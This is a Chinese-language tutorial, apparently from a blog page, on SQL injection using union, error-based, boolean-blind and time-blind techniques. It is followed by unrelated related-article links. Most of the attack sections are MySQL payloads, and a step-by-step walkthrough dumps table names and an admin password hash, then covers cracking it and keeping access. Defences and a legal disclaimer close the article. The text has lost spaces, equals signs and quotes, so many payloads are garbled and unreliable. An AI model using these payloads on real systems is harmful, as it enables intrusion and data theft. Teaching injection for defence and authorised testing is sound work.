SQL注入全流程详解:联合、报错、布尔、延时
1. 引言什么是SQL注入SQL注入SQL Injection是一种常见的Web安全漏洞攻击者通过在应用程序的输入参数中插入恶意的SQL代码欺骗后端数据库执行非预期的操作。这种攻击可能导致数据泄露、数据篡改、权限提升甚至服务器被完全控制。核心原理应用程序未对用户输入进行充分的过滤和转义直接将用户输入拼接到SQL查询语句中执行。2. SQL注入攻击全流程概览一次完整的SQL注入攻击通常遵循以下流程信息收集目标识别、参数探测漏洞探测寻找注入点注入类型判断联合查询注入(Union-based)报错注入(Error-based)布尔盲注(Boolean-based)时间盲注(Time-based)获取数据库信息库名、表名、列名数据提取拖库权限提升与后续操作如写入文件、执行命令3. 联合查询注入 (Union-based Injection)联合查询注入是最直接、最高效的注入方式前提是页面会回显数据库查询结果。3.1 攻击原理利用UNION操作符将恶意查询结果合并到原始查询结果中从而在页面上显示出来。3.2 攻击步骤示例1. 判断注入点与列数-- 原始URL: /product.php?id1/product.php?id1 -- /product.php?id1orderby1--/product.php?id1 order by 2 -- ... /product.php?id1orderby5-- -- 若页面正常说明有5列2. 判断回显位/product.php?id-1unionselect1,2,3,4,5---- 观察页面哪个数字被显示出来例如显示2和4则2和4是回显位3. 获取数据库信息/product.php?id-1unionselect1,database(),version(),user(),5---- 回显位2显示数据库名位3显示数据库版本位4显示当前用户4. 获取表名/product.php?id-1unionselect1,group_concat(table_name),3,4,5frominformation_schema.tableswheretable_schemadatabase()--5. 获取列名/product.php?id-1 union select 1,group_concat(column_name),3,4,5 from information_schema.columns where table_nameusers--6. 提取数据/product.php?id-1 union select 1,concat(username,:,password),3,4,5fromusers--4. 报错注入 (Error-based Injection)当页面不会直接显示查询结果但会返回数据库错误信息时可利用报错注入。4.1 攻击原理通过构造特定的SQL语句触发数据库报错并在错误信息中携带我们想要的数据。4.2 常用报错函数MySQL为例1.updatexml()函数?id1 and updatexml(1,concat(0x7e,(select database()),0x7e),1) -- -- 错误信息会显示XPATH syntax error: ~database_name~2.extractvalue()函数?id1 and extractvalue(1,concat(0x7e,(select user()),0x7e)) -- -- 错误信息显示XPATH syntax error: ~rootlocalhost~3.floor()rand()group by双查询注入?id1and(select1from(selectcount(*),concat((selectdatabase()),floor(rand(0)*2))xfrominformation_schema.tablesgroupbyx)a)--4.3 攻击流程触发报错确认漏洞存在。利用报错函数逐位提取数据库名、表名、列名、数据。使用substr()、limit等函数处理数据提取。5. 布尔盲注 (Boolean-based Blind Injection)当页面没有回显也没有错误信息但会根据SQL语句执行的真假返回不同的页面状态如内容变化、HTTP状态码不同时使用。5.1 攻击原理通过构造逻辑判断语句如and 11、and 12观察页面响应差异逐位猜测数据。5.2 攻击步骤示例1. 判断注入类型与闭合方式?id1 and 11-- 页面正常?id1 and 12-- 页面异常空白、不同内容等2. 猜测数据库名长度?id1 and length(database())1 -- ?id1andlength(database())2--...?id1andlength(database())8-- -- 若页面正常则库名长度为83. 逐位猜测数据库名ASCII码对比?id1 and substr(database(),1,1)a -- ?id1andascii(substr(database(),1,1))97-- -- a的ASCII码是97-- 使用二分法或脚本自动化提高效率4. 后续数据提取流程类似猜表名数量 → 猜每个表名长度 → 逐位猜表名 → 猜列名 → 逐位猜数据。6. 时间盲注 (Time-based Blind Injection)当页面无论SQL语句真假都返回相同内容无法通过布尔条件判断时使用时间盲注。6.1 攻击原理通过构造SQL语句利用时间延迟函数如sleep()、benchmark()根据页面响应时间来判断语句真假。6.2 攻击步骤示例MySQL1. 判断是否存在时间注入?id1andsleep(5)-- -- 观察页面是否延迟5秒响应2. 猜测数据库名长度?id1andif(length(database())8,sleep(2),0)---- 如果延迟2秒说明库名长度等于83. 逐位猜测数据库名?id1 and if(ascii(substr(database(),1,1))115,sleep(2),0) -- -- 如果延迟2秒说明数据库名第一个字符的ASCII码是115即s4. 自动化工具时间盲注手动操作极其耗时通常使用sqlmap、Burp Suite Intruder或自定义脚本进行自动化攻击。7. 全流程实战演练以联合查询为例假设目标URL为http://test.com/news.php?id1步骤1信息收集与初步探测访问id1、id2观察页面变化。尝试id1看是否报错或页面异常。尝试id1 and 11、id1 and 12观察布尔差异。步骤2确定注入点与闭合方式id1 --页面正常 → 单引号闭合。id1 order by 10 --报错order by 5 --正常 → 共5列。步骤3寻找回显位id-1 union select 1,2,3,4,5 --→ 页面显示数字2和4。步骤4获取数据库信息id-1 union select 1,database(),version(),user(),5 --回显当前数据库websec版本MySQL 5.7.40用户rootlocalhost步骤5获取表名id-1 union select 1,group_concat(table_name),3,4,5 from information_schema.tables where table_schemadatabase() --回显users,news,config步骤6获取目标表users的列名id-1 union select 1,group_concat(column_name),3,4,5 from information_schema.columns where table_nameusers --回显id,username,password,email步骤7提取数据id-1 union select 1,concat(username,:,password),3,4,5 from users --回显admin:5f4dcc3b5aa765d61d8327deb882cf99(MD5哈希)步骤8密码破解与权限维持使用彩虹表或在线工具破解MD5哈希。尝试登录后台寻找文件上传、命令执行等漏洞进行权限维持。8. 防御措施使用参数化查询预编译语句// Java PreparedStatement 示例StringsqlSELECT * FROM users WHERE username ? AND password ?;PreparedStatementstmtconnection.prepareStatement(sql);stmt.setString(1,username);stmt.setString(2,password);输入验证与过滤白名单验证只允许预期的字符集。转义特殊字符如单引号、双引号、反斜杠。最小权限原则数据库连接使用最低必要权限的账户。禁止使用root、sa等高权限账户连接Web应用。错误处理生产环境关闭数据库详细错误信息。使用自定义错误页面。Web应用防火墙WAF部署WAF过滤恶意请求。定期更新WAF规则。安全开发与测试在开发阶段进行代码审计。定期进行渗透测试与漏洞扫描。9. 总结SQL注入攻击技术多样从显性的联合查询到隐蔽的时间盲注攻击者总能找到适合当前环境的方法。作为防御方必须采取多层次的安全措施开发阶段强制使用参数化查询进行安全编码培训。测试阶段进行全面的安全测试包括自动化扫描和手动渗透测试。运行阶段配置适当的WAF和监控告警定期更新和打补丁。安全是一个持续的过程只有保持警惕并采用纵深防御策略才能有效抵御SQL注入等Web安全威胁。声明本文中涉及的 SQL 注入漏洞原理、测试语句、利用思路仅供学习交流使用。进行漏洞测试必须事先获得目标系统所有者的正式书面授权禁止对任何未授权的网站、系统开展 SQL 注入探测、攻击、篡改数据等行为。未经授权的网络渗透、数据窃取属于违法行为一切违规操作带来的法律责任均由行为人本人自行承担。

相关新闻

Source Han Serif CN:开源中文字体解决方案,为企业节省90%字体授权成本

Source Han Serif CN:开源中文字体解决方案,为企业节省90%字体授权成本

Source Han Serif CN:开源中文字体解决方案,为企业节省90%字体授权成本 【免费下载链接】source-han-serif-ttf Source Han Serif TTF 项目地址: https://gitcode.com/gh_mirrors/so/source-han-serif-ttf 开源字体的商业价值正在被越来越多的企业…

2026/10/27 2:08:10 阅读更多 →
Nginx proxy_pass指令详解与实战配置指南

Nginx proxy_pass指令详解与实战配置指南

1. Nginx的proxy_pass基础概念解析 Nginx作为当前最流行的Web服务器和反向代理服务器之一,其proxy_pass指令无疑是核心功能中的核心。这个看似简单的指令背后,实际上承载着现代Web架构中流量转发、负载均衡和API网关等关键功能。我在实际运维工作中发现&…

2026/10/27 2:07:46 阅读更多 →
Spring Boot整合MyBatis-Plus与Druid:构建高效多数据源方案

Spring Boot整合MyBatis-Plus与Druid:构建高效多数据源方案

1. 项目概述与核心价值 最近在重构一个老的后台管理系统,数据源这块遇到了瓶颈。原来的单数据源配置,在对接新的报表库和日志库时显得捉襟见肘,频繁的手动切换数据源不仅代码冗余,还容易出错。同时,随着用户量上来&…

2026/10/26 11:34:03 阅读更多 →

最新新闻

Electron桌面应用开发实战:从环境搭建到打包发布全流程

Electron桌面应用开发实战:从环境搭建到打包发布全流程

做前端这些年,我大部分时间都在跟浏览器标签页打交道,直到第一次把桌面应用跑起来,才发现原来自己一直被限制在地址栏和刷新按钮围起来的框框里。Electron这个词,最开始是在某段时间频繁出现在同事的讨论里,一个用HTML…

2026/10/26 12:00:21 阅读更多 →
滑盖智能锁T109深度解析:结构原理、安装调试与故障排查

滑盖智能锁T109深度解析:结构原理、安装调试与故障排查

简介:亚太天能T109滑盖智能锁产品说明书是一份PDF格式的官方技术文档,主要面向智能锁安装人员、终端用户及售后维护者,帮助快速掌握产品安装、配置与常见故障处理。全包仅1个PDF文件,大小4.37MB,内容结构清晰&#xff…

2026/10/25 22:36:10 阅读更多 →
PMSM弱磁控制原理与Simulink建模:高速AGV驱动系统设计指南

PMSM弱磁控制原理与Simulink建模:高速AGV驱动系统设计指南

上个月我在调试一台高速AGV的驱动系统,整车要求空载跑到8m/s,电机转速已经拉到额定点,驱动器的输出电压也顶到了母线电压极限附近。再往上踩速度指令,转速纹丝不动,三相电流反而开始震荡。那会儿我的第一反应就是&…

2026/10/26 4:52:12 阅读更多 →
C++核心知识点:从内存管理到STL的实战指南

C++核心知识点:从内存管理到STL的实战指南

C 这门语言我前前后后折腾了十几年,用它写过嵌入式驱动、做过游戏服务端,也搭过基础组件库。每次看到新人一头扎进"C 核心知识点"这个搜索词,我其实挺感慨的——这门语言的难点从来不是语法多,而是知识点之间的耦合太深…

2026/10/26 12:00:21 阅读更多 →
T109滑盖智能锁怎么装?安装调试与故障排查全攻略

T109滑盖智能锁怎么装?安装调试与故障排查全攻略

简介:亚太天能T109滑盖智能锁产品说明书以PDF格式发布,适合智能锁用户、安装人员与售后维修人员阅读。内容围绕T109系列指纹密码刷卡锁展开,先介绍前面板、后面板、锁体、机械钥匙、电池盒盖等部件名称与功能,再给出完整安装步骤&…

2026/10/26 5:00:37 阅读更多 →
LLM知识降熵:从信息垄断到理解权下放

LLM知识降熵:从信息垄断到理解权下放

你有没有过这种经历:翻开源码注释、论文摘要或者一份专业报告,每个字都认识,连在一起却像天书。想找人聊聊,身边要么没人懂,要么懂的懒得跟你解释。后来我试着把同一段内容丢给一个大语言模型,几秒钟之后&a…

2026/10/26 3:16:46 阅读更多 →

日新闻

周新闻

月新闻

我发现了一个新思路:用 Remotion + Claude Code 像写代码一样自动化生成短视频

我发现了一个新思路:用 Remotion + Claude Code 像写代码一样自动化生成短视频

/* MD / 富文本中的 .toc(含博客园搬家等嵌套结构);.toc-box 在侧栏,不受影响 */#content_views .toc,/* 编辑器常在目录前后插入空 p(:empty 仍占 20px),一并去掉避免顶空隙 */#content_views.markdown_views > p:empty:has(+ .toc),#content_views.markdown_views …

2026/10/26 12:00:19 阅读更多 →
Windows下 Codex 中 Chrome 和 Computer Use 插件不可用问题排查及解决参考方式:TaoToken 统一 Key 配置与验证

Windows下 Codex 中 Chrome 和 Computer Use 插件不可用问题排查及解决参考方式:TaoToken 统一 Key 配置与验证

/* MD / 富文本中的 .toc(含博客园搬家等嵌套结构);.toc-box 在侧栏,不受影响 */#content_views .toc,/* 编辑器常在目录前后插入空 p(:empty 仍占 20px),一并去掉避免顶空隙 */#content_views.markdown_views > p:empty:has(+ .toc),#content_views.markdown_views …

2026/10/25 13:21:54 阅读更多 →
黑夜航拍船只数据集训练YOLOV5模型全流程解析

黑夜航拍船只数据集训练YOLOV5模型全流程解析

/* MD / 富文本中的 .toc(含博客园搬家等嵌套结构);.toc-box 在侧栏,不受影响 */#content_views .toc,/* 编辑器常在目录前后插入空 p(:empty 仍占 20px),一并去掉避免顶空隙 */#content_views.markdown_views > p:empty:has(+ .toc),#content_views.markdown_views …

2026/10/26 8:34:37 阅读更多 →